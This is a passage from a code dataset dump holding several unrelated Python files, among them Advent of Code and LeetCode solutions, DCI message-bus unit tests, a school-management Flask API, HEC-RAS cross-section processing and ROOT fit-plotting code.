self.instances[\"chain\"]\n        return []\n\n    def __getitem__(self, instance_id):\n        \"\"\"\n        Returns the object instance that can be found under the id \"id\"\n    \"\"\"\n        if instance_id[0] == '@':\n            instance_id = instance_id[1:]\n        if instance_id in self.instances:\n            return self.instances[instance_id]\n        if instance_id in self.instances[\"all\"]:\n            return self.instances[\"all\"][instance_id]\n        return None\n        \n    \n    \n","repo_name":"NETWAYS/eventdbcorrelator","sub_path":"src/config/instance_factory.py","file_name":"instance_factory.py","file_ext":"py","file_size_in_byte":6870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25546661685","text":"# encoding: utf-8\n\nfrom yast import import_module\nimport_module('UI')\nfrom yast import *\nclass SpecialWidgetClient:\n    def main(self):\n      # Build a dialog with a \"special\" widget - one that may not be supported\n      # by all UIs.\n\n\n      # Ask the UI whether or not it supports this widget.\n\n      if UI.HasSpecialWidget(\"DummySpecialWidget\"):\n        # Only create a dialog with this kind of widget if it is supported\n\n        UI.OpenDialog(\n          VBox(DummySpecialWidget(), PushButton(Opt(\"default\"), \"&OK\"))\n        )\n      else:\n        # Always provide a fallback: Either try to create a simpler dialog\n        # without the special widget, or terminate with an error message.\n\n        UI.OpenDialog(\n          VBox(\n            Label(\"Special Widget not supported!\"),\n            PushButton(Opt(\"default\"), \"&Oops!\")\n          )\n        )\n\n      UI.UserInput()\n      UI.CloseDialog()\n\n\nSpecialWidgetClient().main()\n\n","repo_name":"yast/yast-python-bindings","sub_path":"examples/SpecialWidget.py","file_name":"SpecialWidget.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"37155604251","text":"\"\"\"\nSolutions to Day 1 of Advent of Code by Alvaro Clemente\n\"\"\"\nfrom itertools import combinations\n\n# Parse input\nwith open(\"input.txt\", \"r\") as f:\n    lines = f.readlines()\n    nums = [int(x.strip()) for x in lines]\n\n\n# Solution for #1\nfor a, b in combinations(nums, 2):\n    if a + b == 2020:\n        print(f\"Solution combination is {a} + {b} = 2020 -> solution is {a * b}\")\n\n# Solution for #2\nfor a, b, c in combinations(nums, 3):\n    if a + b + c == 2020:\n        print(f\"Solution combination is {a} + {b} + {c} = 2020 -> solution is {a * b * c}\")\n","repo_name":"alvaroclementev/aoc2020","sub_path":"day1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26218545758","text":"\"\"\"\n跳跃游戏 II\n给出一个非负整数数组，你最初定位在数组的第一个位置。\n数组中的每个元素代表你在那个位置可以跳跃的最大长度。　　　\n你的目标是使用最少的跳跃次数到达数组的最后一个位置。\n样例\n给出数组A = [2,3,1,1,4]，最少到达数组最后一个位置的跳跃次数是2(从数组下标0跳一步到数组下标1，然后跳3步到数组的最后一个位置，一共跳跃2次)\"\"\"\n#://leetcode.com/discuss/422/is-there-better-solution-for-jump-game-ii?show=422#q422\n\"\"\"\nIn DP, if you use an array to track the min step at [i], not only will you know the minimum steps needed to get to the destination, but also how to get there. With simple calculation on your array, you can find every optimal road to the end.\n\nThis unnecessary information lead to unnecessary cost.\n\nWhat we really need to do is to calculate: with k steps, what's the furthest point I can reach.\n\npublic static int jump(int[] A){ // Jump Game II\n    if(null == A || A.length <= 1) return 0;\n\n    int minSteps = 0;\n    int furthest = 0;\n    int toCheck = 0;\n    while(furthest < A.length - 1){\n        int endIndex = furthest;\n        while(toCheck <= endIndex){\n            furthest = Math.max(furthest, toCheck + A[toCheck]);\n            toCheck++;\n        }\n        if(furthest == endIndex) return -1; // this.time.furthest == last.time.furthest: we're trapped, which means the destination cannot be reached.\n        minSteps++;\n    }\n    return minSteps;        \n}\n\"\"\"\nclass Solution:\n    # @param A, a list of integers\n    # @return an integer\n    def jump(self, A):\n        length = len(A)\n        if length <= 0:\n            return 0\n        steps, maxjump, i = 0, 0, 0\n        while maxjump < length- 1:\n            temp = maxjump\n            while i<= temp:\n                maxjump = max(maxjump, i+ A[i])\n                i += 1\n            if maxjump == temp:\n                return False\n            steps += 1\n        return steps\n","repo_name":"rubyway/lintcode-python","sub_path":"跳跃游戏2.py","file_name":"跳跃游戏2.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38605533077","text":"'''\n@author: Xing Zheng\nExtracts elevations at station points of a cross-section from an intermediate file\n'''\n\nimport string\nimport os\nimport sys\nimport numpy as np\n\ndef ReadGIS(GISfilename): # reads from txt file and writes to excel \n    Data = open(sys.path[0] + \"\\\\\" + GISfilename+'.txt','r')\n    lines = Data.readlines()\n    i = 0\n    Riverstring = \"River Name\"\n    Reachstring = \"Reach Name\"\n    Stationstring = \"RiverStation\"\n    for i in range(len(lines)):\n        if lines[i].startswith(Riverstring):\n            Rivername = lines[i][11:-2]\n            Rivername = Rivername.replace(\" \",\"_\")\n        elif lines[i].startswith(Reachstring):            \n            Reachname = lines[i][11:-2]\n            Reachname = Reachname.strip(\" \")\n            Reachname = Reachname.replace(\" \",\"_\")\n        elif lines[i].startswith(Stationstring) and '*' not in lines[i] :\n            if lines[i+1].startswith(\"XS\"):\n                Riverstation = lines[i][13:-2]\n                Riverstation = Riverstation.strip(\" \")\n                X = []\n                Y = []\n                XY = []\n                Distance = [0]\n                Datapair = int(lines[i+1][16:-1]) # Get the number of GIS co-ordinate points\n                Filename = Rivername + '_' + Reachname + '_' + Riverstation\n                output = open(os.getcwd() + \"\\\\Result\\\\GIS\\\\\" + Filename + \".csv\", 'w') # write the distance to XLS\n                for j in range(Datapair):\n                    XY = lines[i+3+j][:-1].split(\",\")\n                    X.append(XY[0])\n                    Y.append(XY[1])\n                output.write(\"X(ft),Y(ft),Distance(ft)\\n\")\n                output.write(X[0]+\",\"+Y[0]+\",0\"+\"\\n\")\n                for j in range(1,Datapair):\n                    Distance.append(((float(X[j])-float(X[j-1]))**2+(float(Y[j])-float(Y[j-1]))**2)**0.5 + Distance[j-1])\n                    output.write(X[j]+\",\"+Y[j]+\",\"+str(Distance[j])+\"\\n\")\n                output.close()\n\n\ndef ReadGeometry(Geometryfilename): # station elevation table and write to CSV\n    \n    Data = open(sys.path[0] + \"\\\\\" + Geometryfilename + \".txt\",\"r\")\n    lines = Data.readlines()\n    i = 0\n    Riverstring = \"River Name\"\n    Reachstring = \"Reach Name\"\n    Stationstring = \"RiverStation\"\n    for i in range(len(lines)):\n        if lines[i].startswith(Riverstring):\n            Rivername = lines[i][11:-2]\n            Rivername = Rivername.replace(\" \",\"_\")\n        elif lines[i].startswith(Reachstring):      \n            Reachname = lines[i][11:-2]\n            Reachname = Reachname.strip(\" \")\n            Reachname = Reachname.replace(\" \",\"_\")\n        elif lines[i].startswith(Stationstring) and '*' not in lines[i] :\n            if lines[i+1].startswith(\"#Sta/Elev\"):\n                Riverstation = lines[i][13:-1].strip(' ')\n                Filename = Rivername + '_' + Reachname + '_' + Riverstation\n                output = open(os.getcwd() + \"\\\\Result\\\\Geometry\\\\\" + Filename + \".csv\", 'w')\n                output.write(\"Station(ft),Elevation(ft)\\n\")\n    ##        elif lines[i].startswith('#Sta/Elev'):\n                Datapair = int(lines[i+1][11:-1])\n                for j in range(Datapair):\n                    output.write(lines[i+3+j])\n                output.close()\n\ndef CreatePoint(): # Interpolate X,Y,Z for each station point\n    GISfolder = sys.path[0] + \"\\\\Result\\\\GIS\"\n    Geometryfolder = sys.path[0] + \"\\\\Result\\\\Geometry\"\n    Pointfolder = sys.path[0] + \"\\\\Result\\\\Point\"\n    for GISfilename in os.listdir(GISfolder):\n        for Geometryfilename in os.listdir(Geometryfolder):\n            if GISfilename == Geometryfilename:\n                Pointfilename = GISfilename\n                Pointfilelocation = Pointfolder + \"\\\\\" + Pointfilename\n                GISfilelocation = GISfolder + \"\\\\\" + GISfilename\n                X, Y, Distance = np.loadtxt(GISfilelocation, delimiter=\",\", skiprows=1, usecols=(0,1,2), unpack=True)\n                Geometryfilelocation = Geometryfolder + \"\\\\\" + Geometryfilename\n                S, H = np.loadtxt(Geometryfilelocation, delimiter=\",\", skiprows=1, usecols=(0,1), unpack=True)\n                PointX = np.empty(len(S))\n                PointY = np.empty(len(S))\n                PointM = np.empty(len(S))\n                PointM = S*(Distance[-1]/S[-1])\n                PointX = np.interp(S,Distance,X)\n                PointY = np.interp(S,Distance,Y)\n                np.savetxt(Pointfilelocation, np.column_stack((PointX,PointY,H,PointM)), fmt='%16.8f',delimiter=',', newline='\\n', header='PointX,PointY,PointZ,PointM', comments='')\n                continue\n\ndef XSPointmerge(): # make one big xls file\n\n    Pointfolder = sys.path[0] + \"\\\\Result\\\\Point\"\n    XSPoint = open(os.getcwd() + \"\\\\Result\\\\XSPoint.csv\", 'a')\n    XSPoint.write(\"PointX,PointY,PointZ,PointM\\n\")\n    for Pointfilename in os.listdir(Pointfolder):\n        if Pointfilename.endswith(\".csv\"):\n            XSPointpath = open(Pointfolder + \"\\\\\" + Pointfilename, 'r')\n            XSPointset = XSPointpath.readlines()[1:]\n            for line in XSPointset:\n                XSPoint.write(line)\n    XSPoint.close\n\ndef main():\n    GISfilename = 'XSGIS'\n    Geometryfilename = 'XSGeometry'\n    ReadGIS(GISfilename)\n    ReadGeometry(Geometryfilename)\n    CreatePoint()\n    XSPointmerge()\n    print (\"Work done! Please go to your project folder \"\n           + os.getcwd() + \"\\\\Result\" + \" to check your result\\n\")\n\n    done = raw_input('(press ENTER to quit)')\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"solomonvimal/PyFloods","sub_path":"XSPoint.py","file_name":"XSPoint.py","file_ext":"py","file_size_in_byte":5474,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"35"}
{"seq_id":"16158612882","text":"import json\nimport datetime\nfrom dci.worker.umb import build_umb_messages\nfrom uuid import UUID\n\n\ndef test_build_umb_messages():\n    now = datetime.datetime(2018, 9, 14, 18, 50, 26, 143559)\n    event = {\n        \"event\": \"job_finished\",\n        \"type\": \"job_finished\",\n        \"job\": {\n            \"id\": \"81fe1916-8929-4bc3-90b6-021983654663\",\n            \"status\": \"success\",\n            \"tags\": [\"debug\"],\n            \"components\": [\n                {\n                    \"id\": \"3b59723c-4033-ba46-8df2-d93fdad1af8b\",\n                    \"name\": \"hwcert-1584013618\",\n                    \"type\": \"hwcert\",\n                    \"url\": \"http://hwcert-server.khw2.lab.eng.bos.redhat.com/packages/devel/RHEL8\",\n                },\n                {\n                    \"id\": \"b7c82f18-d2ac-ba46-b909-a7bb472f5ba9\",\n                    \"name\": \"RHEL-8.3.0-20200312.n.0\",\n                    \"type\": \"Compose\",\n                    \"url\": \"http://download-node-02.eng.bos.redhat.com/rhel-8/nightly/RHEL-8/RHEL-8.3.0-20200312.n.0\",\n                },\n            ],\n            \"results\": [{\"name\": \"beaker-results\"}],\n        },\n    }\n    messages = build_umb_messages(event, now)\n    target = messages[0][\"target\"]\n    assert target == \"topic://VirtualTopic.eng.dci.job.complete\"\n    message = json.loads(messages[0][\"body\"])\n    # fedora-ci productmd-compose.test.complete.yaml schema\n    # contact\n    assert \"name\" in message[\"contact\"]\n    assert \"team\" in message[\"contact\"]\n    assert \"docs\" in message[\"contact\"]\n    assert \"email\" in message[\"contact\"]\n    # run\n    assert \"url\" in message[\"run\"]\n    assert \"log\" in message[\"run\"]\n    # artifact\n    assert \"id\" in message[\"artifact\"]\n    assert \"type\" in message[\"artifact\"]\n    assert \"compose_type\" in message[\"artifact\"]\n    assert message[\"artifact\"][\"compose_type\"] in [\"nightly\", \"rel-eng\"]\n    # pipeline\n    assert \"id\" in message[\"pipeline\"]\n    assert \"name\" in message[\"pipeline\"]\n    # test-common\n    # test-complete\n    assert \"category\" in message[\"test\"]\n    assert \"namespace\" in message[\"test\"]\n    assert \"type\" in message[\"test\"]\n    assert \"result\" in message[\"test\"]\n    assert message[\"test\"][\"category\"] in [\n        \"functional\",\n        \"integration\",\n        \"interoperability\",\n        \"static-analysis\",\n        \"system\",\n        \"validation\",\n    ]\n    assert message[\"test\"][\"result\"] in [\n        \"passed\",\n        \"failed\",\n        \"info\",\n        \"needs_inspection\",\n        \"not_applicable\",\n    ]\n    # system\n    assert \"provider\" in message[\"system\"][0]\n    assert \"architecture\" in message[\"system\"][0]\n    # generated_at\n    assert \"generated_at\" in message\n    # version\n    assert \"version\" in message\n    assert message == {\n        \"contact\": {\n            \"docs\": \"https://docs.distributed-ci.io/\",\n            \"url\": \"https://distributed-ci.io/\",\n            \"team\": \"DCI\",\n            \"name\": \"DCI CI\",\n            \"email\": \"distributed-ci@redhat.com\",\n        },\n        \"artifact\": {\n            \"compose_type\": \"nightly\",\n            \"type\": \"productmd-compose\",\n            \"id\": \"RHEL-8.3.0-20200312.n.0\",\n        },\n        \"run\": {\n            \"log\": \"https://www.distributed-ci.io/jobs/81fe1916-8929-4bc3-90b6-021983654663/jobStates\",\n            \"url\": \"https://www.distributed-ci.io/jobs/81fe1916-8929-4bc3-90b6-021983654663/jobStates\",\n        },\n        \"test\": {\n            \"namespace\": \"dci\",\n            \"type\": \"beaker-results\",\n            \"result\": \"passed\",\n            \"category\": \"system\",\n        },\n        \"pipeline\": {\n            \"id\": \"81fe1916-8929-4bc3-90b6-021983654663\",\n            \"name\": \"job id\",\n        },\n        \"system\": [{\"provider\": \"beaker\", \"architecture\": \"x86_64\"}],\n        \"generated_at\": \"2018-09-14T18:50:26.143559Z\",\n        \"version\": \"0.1.0\",\n    }\n\n\ndef test_cki_message():\n    now = datetime.datetime(2020, 10, 20, 7, 52, 15, 241148)\n    event = {\n        \"event\": \"job_finished\",\n        \"type\": \"job_finished\",\n        \"job\": {\n            \"comment\": \"releng job comment\",\n            \"status\": \"success\",\n            \"user_agent\": \"python-requests/2.6.0 CPython/2.7.5 Linux/5.8.11-200.fc32.x86_64\",\n            \"remoteci_id\": UUID(\"ab632138-55da-45c9-b64a-d06fb941fe3c\"),\n            \"tags\": [\"debug\", \"ppc64le\"],\n            \"previous_job_id\": None,\n            \"created_at\": datetime.datetime(2020, 10, 20, 8, 42, 12, 384316),\n            \"remoteci\": {\n                \"cert_fp\": None,\n                \"name\": \"Remoteci partner\",\n                \"api_secret\": \"u1ZthjIrvDOyQ7kLsmkHAtPYbUKRulywqaiXUdBHeKAZYvzUlZbgPw5BswOOIaWm\",\n                \"created_at\": datetime.datetime(2020, 10, 20, 7, 56, 18, 195947),\n                \"updated_at\": datetime.datetime(2020, 10, 20, 7, 56, 18, 195947),\n                \"id\": UUID(\"ab632138-55da-45c9-b64a-d06fb941fe3c\"),\n                \"state\": \"active\",\n                \"etag\": \"f54cacaec95ab19a8ad067a98eb90a8d\",\n                \"team_id\": UUID(\"627d5b72-6213-490e-83b9-6a07df2d20a8\"),\n                \"data\": {},\n                \"public\": False,\n            },\n            \"updated_at\": datetime.datetime(2020, 10, 20, 8, 43, 27, 165594),\n            \"update_previous_job_id\": None,\n            \"results\": [\n                {\n                    \"errors\": 0,\n                    \"job_id\": UUID(\"6015a9ae-15a3-4e1f-8603-0daf95da6da6\"),\n                    \"success\": 1,\n                    \"created_at\": datetime.datetime(2020, 10, 20, 8, 43, 26, 833558),\n                    \"updated_at\": datetime.datetime(2020, 10, 20, 8, 43, 26, 842542),\n                    \"successfixes\": 0,\n                    \"id\": UUID(\"b22ca408-063a-494e-8887-7af8c8247bad\"),\n                    \"skips\": 0,\n                    \"testcases\": [\n                        {\n                            \"successfix\": False,\n                            \"name\": \"exit_code\",\n                            \"value\": \"\",\n                            \"classname\": \"LTP\",\n                            \"time\": 0.53,\n                            \"action\": \"passed\",\n                            \"message\": \"\",\n                            \"type\": \"\",\n                            \"regression\": False,\n                        },\n                        {\n                            \"successfix\": False,\n                            \"name\": \"RHELKT1LITE.FILTERED\",\n                            \"value\": \"Logs:\\nrecipes/1/tasks/1/results/1603842751/logs/dmesg.log\\nrecipes/1/tasks/1/results/1603842751/logs/resultoutputfile.log\",\n                            \"classname\": \"LTP\",\n                            \"time\": 10.247,\n                            \"action\": \"failure\",\n                            \"message\": \"\",\n                            \"type\": \"\",\n                            \"regression\": False,\n                        },\n                    ],\n                    \"file_id\": UUID(\"75a45e48-d255-490c-a80e-5ba67588650a\"),\n                    \"time\": 10.777,\n                    \"failures\": 1,\n                    \"total\": 2,\n                    \"regressions\": 0,\n                    \"name\": \"cki-results\",\n                }\n            ],\n            \"topic\": {\n                \"next_topic_id\": None,\n                \"name\": \"RHEL-8.2-milestone\",\n                \"created_at\": datetime.datetime(2020, 10, 20, 7, 56, 15, 241148),\n                \"updated_at\": datetime.datetime(2020, 10, 20, 7, 56, 15, 241148),\n                \"id\": UUID(\"bbd380b0-a291-443b-8743-b0fc53314db6\"),\n                \"state\": \"active\",\n                \"etag\": \"c804a7353f1dca5c4c6ec2a7770fd307\",\n                \"component_types\": [\"Compose\"],\n                \"data\": {},\n                \"export_control\": True,\n                \"product_id\": UUID(\"8c5ce412-9f43-4cc6-b70d-2146d3938ac3\"),\n            },\n            \"team_id\": UUID(\"627d5b72-6213-490e-83b9-6a07df2d20a8\"),\n            \"state\": \"active\",\n            \"etag\": \"524fd81818986991317e29214e10f0e7\",\n            \"components\": [\n                {\n                    \"name\": \"RHEL-8.2.0-20200404.0\",\n                    \"tags\": [\"kernel:4.18.0-240.3.el8\"],\n                    \"url\": \"http://download-node-02.eng.bos.redhat.com/rhel-8/rel-eng/RHEL-8/RHEL-8.2.0-20200404.0\",\n                    \"type\": \"Compose\",\n                    \"created_at\": datetime.datetime(2020, 10, 20, 7, 56, 17, 93452),\n                    \"title\": None,\n                    \"updated_at\": datetime.datetime(2020, 10, 20, 7, 56, 17, 93452),\n                    \"released_at\": datetime.datetime(2020, 10, 20, 7, 56, 17, 94224),\n                    \"canonical_project_name\": None,\n                    \"state\": \"active\",\n                    \"etag\": \"de27226e8db2157d9aaf6ff6b32a228a\",\n                    \"topic_id\": UUID(\"bbd380b0-a291-443b-8743-b0fc53314db6\"),\n                    \"team_id\": None,\n                    \"message\": None,\n                    \"data\": {},\n                    \"id\": UUID(\"d1c36709-f401-4eb0-ba45-e91726ad0981\"),\n                }\n            ],\n            \"topic_id\": UUID(\"bbd380b0-a291-443b-8743-b0fc53314db6\"),\n            \"duration\": 74,\n            \"client_version\": None,\n            \"id\": UUID(\"6015a9ae-15a3-4e1f-8603-0daf95da6da6\"),\n            \"product_id\": UUID(\"8c5ce412-9f43-4cc6-b70d-2146d3938ac3\"),\n        },\n    }\n    messages = build_umb_messages(event, now)\n    message = json.loads(messages[0][\"body\"])\n    assert message == {\n        \"summarized_result\": \"\",\n        \"team_email\": \"distributed-ci@redhat.com\",\n        \"team_name\": \"DCI\",\n        \"kernel_version\": \"4.18.0-240.3.el8\",\n        \"artifact\": {\n            \"compose_type\": \"rel-eng\",\n            \"id\": \"RHEL-8.2.0-20200404.0\",\n            \"type\": \"productmd-compose\",\n        },\n        \"results\": [\n            {\n                \"test_description\": \"LTP\",\n                \"is_debug\": False,\n                \"test_log_url\": [\n                    \"https://www.distributed-ci.io/jobs/6015a9ae-15a3-4e1f-8603-0daf95da6da6/jobStates\"\n                ],\n                \"test_arch\": \"ppc64le\",\n                \"test_result\": \"PASS\",\n                \"test_name\": \"exit_code\",\n            },\n            {\n                \"test_description\": \"LTP\",\n                \"is_debug\": False,\n                \"test_log_url\": [\n                    \"https://www.distributed-ci.io/jobs/6015a9ae-15a3-4e1f-8603-0daf95da6da6/jobStates\"\n                ],\n                \"test_arch\": \"ppc64le\",\n                \"test_result\": \"PASS\",\n                \"test_name\": \"RHELKT1LITE.FILTERED\",\n            },\n        ],\n    }\n","repo_name":"redhat-cip/dci-control-server","sub_path":"tests/worker/test_umb.py","file_name":"test_umb.py","file_ext":"py","file_size_in_byte":10482,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"35"}
{"seq_id":"26076190962","text":"from sqlite3 import apilevel\nfrom flask import Flask, jsonify, request\nimport json, os, shutil\nimport main as app\nfrom main import DataB\nimport webbrowser\nfrom main import GetSchoolNameFromManager, GetManagerData\nfrom manager import Manager\nfrom main import *\n\napplication = Flask(__name__)\n\nmanager = None\n\n@application.route('/')\ndef Index():\n    webbrowser.open('file://C:/Users/admin-dam2b/Desktop/python/python/index.html')\n\n@application.route('/login', methods=['POST'])\ndef Login():\n    global manager\n    user = request.form['username']\n    pwd = request.form['password']\n    tipe = request.form['usertype']\n    resp = app.Log(DataB(), tipe, user, pwd)\n    if resp == 0:\n        manager = GetManagerData(tipe + user, DataB())\n        return 'Logeado en Shoolers con éxito.', 200\n    if resp != 0:\n        return 'Forbidden access', 403\n\n# MANAGER\n@application.route('/managers', methods=['GET'])\ndef GetManagers():\n    return jsonify(GetAllManagers(DataB())), 200\n\n@application.route('/managers/<int:id>', methods=['GET'])\ndef GetManagerById(id):\n    return jsonify(GetManagerById(DataB(), id)), 200\n\n@application.route('/managers', methods=['POST'])\ndef CreateManager():\n    data = {'name' : request.form[\"name\"],\n            'sn1' : request.form[\"sn1\"],\n            'sn2': request.form[\"sn2\"],\n            'birth': request.form[\"birth\"],\n            'nationality' : request.form[\"nationality\"],\n            'country' : request.form[\"country\"],\n            'city' : request.form[\"city\"],\n            'postalcode': request.form[\"postalcode\"],\n            'address': request.form[\"address\"],\n            'email': request.form[\"email\"],\n            'phone1': request.form[\"phone1\"],\n            'passw': request.form[\"passw\"]}\n    CreateNewManager(DataB(), data)\n    return 'Manager creado'\n\n@application.route('/managers/<int:id>', methods=['PUT'])\ndef ModifyManager(id):\n    return ModifyManager(DataB(), id)\n\n@application.route('/managers/<int:id>', methods=['DELETE'])\ndef DeleteManager(id):\n    return DeleteManager(DataB(), id), 202\n# END MANAGER\n\n@application.route('/delman/<int:id>', methods=['GET'])\ndef RedirectDeleteManager(id):\n    request.delete('http://localhost:5000/managers/' + str(id))\n\n@application.route('/updman/<int:id>', methods=['GET'])\ndef RedirectUpdateManager(id):\n    request.put('http://localhost:5000/managers/' + str(id))\n\n\n# PARENTS\n@application.route('/parents', methods=['GET'])\ndef GetParent():\n    return jsonify(GetAllParents(DataB())), 200\n\n@application.route('/parents', methods=['GET'])\ndef DeleteParents():\n    MyParentsList = GetAllParents(DataB(), \"Joyfe\")\n    if request.form[\"idD\"] is not None:\n        DeleteParent(DataB(), MyParentsList[request.form[\"idD\"]][\"sz_003_nick\"])\n        return True\n    return MyParentsList.__len__()\n\n@application.route('/parents/<int:id>', methods=['GET'])\ndef GetParentsById(id):\n    return jsonify(GetParentById(DataB(),id)), 200\n\n@application.route('/addparent', methods=['POST'])\ndef CreateParent():\n    AddParent(DataB(), request.form[\"name\"], request.form[\"SN1\"], request.form[\"SN2\"], \n            request.form[\"birth\"], request.form[\"nationality\"], request.form[\"country\"], \n            request.form[\"city\"], request.form[\"postalCode\"], request.form[\"address\"], \n            request.form[\"email\"], request.form[\"phone1\"], request.form[\"phone2\"],\n            \"Joyfe\", request.form[\"sNick\"])\n    return 201\n\n# END PARENT\n\n\n# STUDENTS\n@application.route('/students', methods=['GET'])\ndef GetStudents():\n    return jsonify(GetAllStudents(DataB())), 200\n\n@application.route('/students/<int:id>', methods=['GET'])\ndef GetStudentById(id):\n    return jsonify(GetTeacherById(DataB(), id)), 200\n\n@application.route('/students', methods=['POST'])\ndef CreateStudent():\n    AddStudent(DataB, request.form['Name'],request.form['SN1'], request.form['SN2'], request.form['Birth'], request.form['Nacionality'], request.form['Country'], request.form['City'], request.form['PostalCode'], request.form['Addres'], request.form['Email'])\n    return True\n\n@application.route('/students/<int:id>', methods=['DELETE'])\ndef DeleteStudent(id):\n    DeleteStudent(DataB, id)\n    return 200\n\n@application.route('/delStudents/<int:id>', methods=['GET'])\ndef RedirectDeleteStudent(id):\n    request.delete('http://localhost:5000/students/' + str(id))\n\n# END STUDENTS\n\n\n\n\n# TEACHERS\n@application.route('/teachers', methods=['GET'])\ndef GetTeachers():\n    return jsonify(GetAllTeachers(DataB())), 200\n\n@application.route('/teachers/<int:id>', methods=['GET'])\ndef GetTeacherById(id):\n    return jsonify(GetTeacherById(DataB(), id)), 200\n\n@application.route('/teachers', methods=['POST'])\ndef CreateTeacher():\n    AddTeacher(DataB(), request.form['Name'], request.form['SN1'], request.form['SN2'], request.form['Birth'], request.form['Nacionality'], request.form['Country'], request.form['City'], request.form['PostalCode'], request.form['Addres'], request.form['Email'], request.form['Phone1'], request.form['Phone2'], request.form['School'])\n    return 200\n\n@application.route('/teachers/<int:id>', methods=['DELETE'])\ndef DeleteTeacher(id):\n    DeleteTeacher(DataB(), id)\n    return 200\n\n@application.route('/delTeacher/<int:id>', methods=['GET'])\ndef RedirectDeleteTeacher(id):\n    request.delete('http://localhost:5000/teachers/' + str(id))\n\ndef id():\n    url = \"http://localhost:5000/teachers/\"\n    id = request.form['id']\n    url += id\n\nif __name__ == '__main__':\n    application.run(debug=False)","repo_name":"OscarMelPino/python","sub_path":"server/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":5459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24502484378","text":"\n## Functions to print analytic fits to data and MC\n\nimport os\nimport sys\n\nimport ROOT as R\nimport ROOT.RooFit as RF\n\nsys.path.insert(1, '%s/../FitBackground/python' % os.getcwd())\nimport FitFunctions as FF  ## From FitBackground/python/FitFunctions.py\n\n\ndef DrawFits(sig_fit, bkg_fit, data_fit, cat, out_dir):\n\n    #-------------------------------------------------------------------\n    ## Plot data and fit into a frame\n\n    c_sig  = R.TCanvas('c_%s_sig'  % cat, 'c_%s_sig'  % cat, 800, 600)\n    c_bkg  = R.TCanvas('c_%s_bkg'  % cat, 'c_%s_bkg'  % cat, 800, 600)\n    c_data = R.TCanvas('c_%s_data' % cat, 'c_%s_data' % cat, 800, 600)\n\n    ## Signal\n    c_sig.cd()\n    fra_sig = sig_fit.var.frame()\n    sig_fit.dat  .plotOn (fra_sig)\n    sig_fit.model.plotOn (fra_sig, RF.LineColor(R.kBlue), RF.Range('FULL'))\n    ## Plot sub-components of signal model\n    if len(sig_fit.arg_sets) > 1:\n        sig_fit.model.plotOn (fra_sig, RF.Components(sig_fit.arg_sets[0]), RF.LineStyle(R.kDashed), RF.LineColor(R.kGreen),  RF.Range('FULL'))\n        sig_fit.model.plotOn (fra_sig, RF.Components(sig_fit.arg_sets[1]), RF.LineStyle(R.kDashed), RF.LineColor(R.kRed),    RF.Range('FULL'))\n    if len(sig_fit.arg_sets) > 2:\n        sig_fit.model.plotOn (fra_sig, RF.Components(sig_fit.arg_sets[2]), RF.LineStyle(R.kDashed), RF.LineColor(R.kViolet), RF.Range('FULL'))\n    sig_fit.model.paramOn(fra_sig, RF.Layout(0.55, 0.90, 0.90))\n    fra_sig.Draw()\n    sig_chi = R.TLatex(0.7, 0.3, \"#chi^{2} = %.2f\" % fra_sig.chiSquare())\n    sig_chi.SetNDC(R.kTRUE)\n    sig_chi.Draw()\n    c_sig.SaveAs(out_dir+'/plot/sig_fit_%s_%s_%d.png' % (cat, sig_fit.fit_type, sig_fit.order))\n\n    ## Background\n    c_bkg.cd()\n    fra_bkg = bkg_fit.var.frame()\n    bkg_fit.dat  .plotOn(fra_bkg)\n    bkg_fit.model.plotOn(fra_bkg, RF.LineColor(R.kBlue), RF.Range('FULL'))\n    ## Plot sub-components of background model\n    if len(bkg_fit.arg_sets) > 1:\n        bkg_fit.model.plotOn(fra_bkg, RF.Components(bkg_fit.arg_sets[0]), RF.LineStyle(R.kDashed), RF.LineColor(R.kGreen),  RF.Range('FULL'))\n        bkg_fit.model.plotOn(fra_bkg, RF.Components(bkg_fit.arg_sets[1]), RF.LineStyle(R.kDashed), RF.LineColor(R.kRed),    RF.Range('FULL'))\n    if len(bkg_fit.arg_sets) > 2:\n        bkg_fit.model.plotOn(fra_bkg, RF.Components(bkg_fit.arg_sets[2]), RF.LineStyle(R.kDashed), RF.LineColor(R.kViolet), RF.Range('FULL'))\n    bkg_fit.model.paramOn(fra_bkg, RF.Layout(0.55, 0.90, 0.90))\n    fra_bkg.Draw()\n    bkg_chi = R.TLatex(0.7, 0.5, \"#chi^{2} = %.2f\" % fra_bkg.chiSquare())\n    bkg_chi.SetNDC(R.kTRUE)\n    bkg_chi.Draw()\n    c_bkg.SaveAs(out_dir+'/plot/bkg_fit_%s_%s_%d.png' % (cat, bkg_fit.fit_type, bkg_fit.order))\n\n    ## Data\n    c_data.cd()\n    fra_data = data_fit.var.frame()\n    data_fit.dat  .plotOn(fra_data)\n    data_fit.model.plotOn(fra_data, RF.LineColor(R.kBlue), RF.Range('FULL'))\n    ## Plot sub-components of data model\n    if len(bkg_fit.arg_sets) > 1:\n        data_fit.model.plotOn(fra_data, RF.Components(data_fit.arg_sets[0]), RF.LineStyle(R.kDashed), RF.LineColor(R.kGreen),  RF.Range('FULL'))\n        data_fit.model.plotOn(fra_data, RF.Components(data_fit.arg_sets[1]), RF.LineStyle(R.kDashed), RF.LineColor(R.kRed),    RF.Range('FULL'))\n    if len(data_fit.arg_sets) > 2:\n        data_fit.model.plotOn(fra_data, RF.Components(data_fit.arg_sets[2]), RF.LineStyle(R.kDashed), RF.LineColor(R.kViolet), RF.Range('FULL'))\n    data_fit.model.paramOn(fra_data, RF.Layout(0.55, 0.90, 0.90))\n    fra_data.Draw()\n    data_chi = R.TLatex(0.7, 0.5, \"#chi^{2} = %.2f\" % fra_data.chiSquare())\n    data_chi.SetNDC(R.kTRUE)\n    data_chi.Draw()\n    c_data.SaveAs(out_dir+'/plot/data_fit_%s_%s_%d.png' % (cat, 